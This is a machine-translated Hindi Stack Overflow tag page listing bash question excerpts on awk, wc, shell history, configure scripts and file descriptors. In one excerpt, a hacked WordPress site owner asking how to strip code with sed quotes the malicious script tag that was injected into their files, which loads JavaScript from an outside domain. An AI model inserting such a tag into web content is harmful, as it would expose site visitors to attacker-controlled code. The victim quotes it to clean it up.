bash पर टैग किए गए जवाब

बैश कमांड शेल के लिए लिखी गई लिपियों के बारे में प्रश्नों के लिए। त्रुटियों / वाक्यविन्यास त्रुटियों के साथ शेल स्क्रिप्ट के लिए, कृपया यहां पोस्ट करने से पहले शेलचेक प्रोग्राम (या वेब शेलचेक सर्वर पर https://shellcheck.net) के साथ उन्हें जांचें। बैश के इंटरैक्टिव उपयोग के बारे में सवाल स्टैक ओवरफ्लो की तुलना में सुपर उपयोगकर्ता पर ऑन-टॉपिक होने की अधिक संभावना है।

6
मैं बैश के साथ प्रत्येक पंक्ति में अंतिम शब्द कैसे प्राप्त कर सकता हूं
उदाहरण के लिए मेरे पास एक फाइल है: $ cat file i am the first example. i am the second line. i do a question about a file. और मुझे आवश्यकता है: example, line, file मैं "जाग" के साथ आशय रखता हूं लेकिन समस्या यह है कि शब्द अलग-अलग जगह …
80 linux  bash 

6
फ़ाइल नाम के बिना एक बैश चर में दी गई फ़ाइल की पंक्तियों की संख्या को बैश करें
मेरे पास बैश स्क्रिप्ट में तीन निर्माण हैं: NUMOFLINES=$(wc -l $JAVA_TAGS_FILE) echo $NUMOFLINES" lines" echo $(wc -l $JAVA_TAGS_FILE)" lines" echo "$(wc -l $JAVA_TAGS_FILE) lines" और वे दोनों समान आउटपुट तब उत्पन्न करते हैं जब स्क्रिप्ट चलती है: 121711 /home/slash/.java_base.tag lines 121711 /home/slash/.java_base.tag lines 121711 /home/slash/.java_base.tag lines यानी फ़ाइल का नाम …
79 bash  wc 

10
पिछली कमांड प्राप्त करने के लिए बैश इतिहास का उपयोग करते हुए, इसे कॉपी करें और फिर इसे 'रन' करें लेकिन कमांड के साथ टिप्पणी की
मेरे bashकौशल को बेहतर बनाने के लिए बस एक सवाल । मैं हमेशा ऐसा करता हूं: $ history | grep some_long_command ... ... 123 some_long_command1......... 124 some_long_command2......... ... मैं तब कमांड को चला सकता हूं जो मैंने कर पाया था: !123 हालांकि, मैं अक्सर ऐसा करना चाहता हूं: some_long_command1foobar यानी …

3
मैं एक कॉन्फ़िगर स्क्रिप्ट कैसे बनाऊँ?
यह एक बहुत ही सामान्य सवाल की तरह लग सकता है, लेकिन यहाँ यह जाता है। मैं अपने आवेदन के लिए एक कॉन्फ़िगर स्क्रिप्ट बनाने के लिए एक आवश्यकता है, इस कॉन्फ़िगर का परिणाम एक उत्पन्न होगा है makefile(बुनियादी configure, make, make install)। मेरा सवाल यह है कि मैं इसे …

3
कमांड लाइन तर्क के रूप में '#' वर्ण पास करने में असमर्थ
मैं #कमांड-लाइन तर्कों के साथ शुरू होने वाले तारों को पास नहीं कर सकता । यहाँ एक सरल परीक्षण है: #include <stdio.h> int main(int argc, char *argv[]) { for (int i = 1; i < argc; i++) printf("%s ", argv[i]); putchar('\n'); return 0; } यदि मैं तर्कों को निम्नानुसार इनपुट …

1
3> और 1 का मतलब 4> और 3 5> और 3 आदि है?
मुझे उम्मीद है echo foo | tee /proc/self/fd/{3..6} 3>&1 / proc / self / fd / 4 जैसी त्रुटियों के साथ असफल होने के लिए : ऐसी कोई फ़ाइल या निर्देशिका आदि नहीं है, लेकिन मेरे आश्चर्य के लिए, यह आउटपुट करता है foo foo foo foo foo यह 3>&1निम्न …

7
मैं इसे निष्पादित किए बिना वर्तमान शेल कमांड को कैसे संपादित करूं?
"एडिट-एंड-एक्ज़ीक्यूट-कमांड (Cx Ce)" का उपयोग करके अपने एडिटर का उपयोग करके कमांड को कैसे संपादित और निष्पादित करना है, इस पर काफी जानकारी मिलती है, लेकिन मैं जो हासिल करना चाहता हूं वह वर्तमान शेल कमांड लेना है, लागू करें कुछ फ़िल्टरिंग (एक स्क्रिप्ट का उपयोग करके) और फिर इसे …
13 bash 

7
कैसे sed या संभवतः grep का उपयोग करके पूरे स्ट्रिंग को बदलने के लिए
इसलिए मेरा पूरा सर्वर हैक हो गया या मैलवेयर की समस्या हो गई। मेरी साइट वर्डप्रेस पर आधारित है और मेरे सर्वर पर होस्ट की गई अधिकांश साइटें वर्डप्रेस आधारित हैं। हैकर ने हर एक फाइल और डेटाबेस में कोड की इस लाइन को जोड़ा <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> मैंने इसे …
10 bash  shell  sed  grep 

1
पैरामीटर विस्तार जिसके परिणामस्वरूप रिक्त स्ट्रिंग को अलग तरीके से व्यवहार किया जाता है
अपडेट करें बग-बैश मेलिंग सूची में किसी ने पुष्टि की है कि यह बग है। यदि किसी की रुचि है, तो नवीनतम शाखा को हटाने के लिए प्रतिबद्ध है । जबकि bash -c 'echo "${1##*""}"' _ bar एक खाली लाइन प्रिंट करता है, bash -c 'echo "${1##*"${1##*}"}"' _ bar प्रिंट …
10 bash 

2
Synology शेड्यूलर .sh जावा कमांड नहीं मिला
मेरे पास एक bash स्क्रिप्ट है, केवल एक जार फ़ाइल को निष्पादित करने का कार्य है। sms.sh java -jar /volume1/homes/jar/smssender.jar अपने Synology NAS का उपयोग करके मैंने एक कार्य स्थापित किया। बैश स्क्रिप्ट निष्पादित करने के लिए कमांड जोड़ना। लॉग आउटपुट जोड़ना। मेरी नई टास्क को एक्सेप्ट करना। निम्नलिखित त्रुटि …
9 java  bash  synology 

3
NON GNU awk के साथ संशोधनों को सहेजें
मुझे एक प्रश्न (SO पर ही) आया है, जहाँ OP को स्वयं इनपुट_फाइल (s) में ऑपरेशन को संपादित और सहेजना है। मैं एक एकल इनपुट_फाइल के लिए जानता हूं जो हम निम्नलिखित कर सकते हैं: awk '{print "test here..new line for saving.."}' Input_file > temp && mv temp Input_file अब …
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.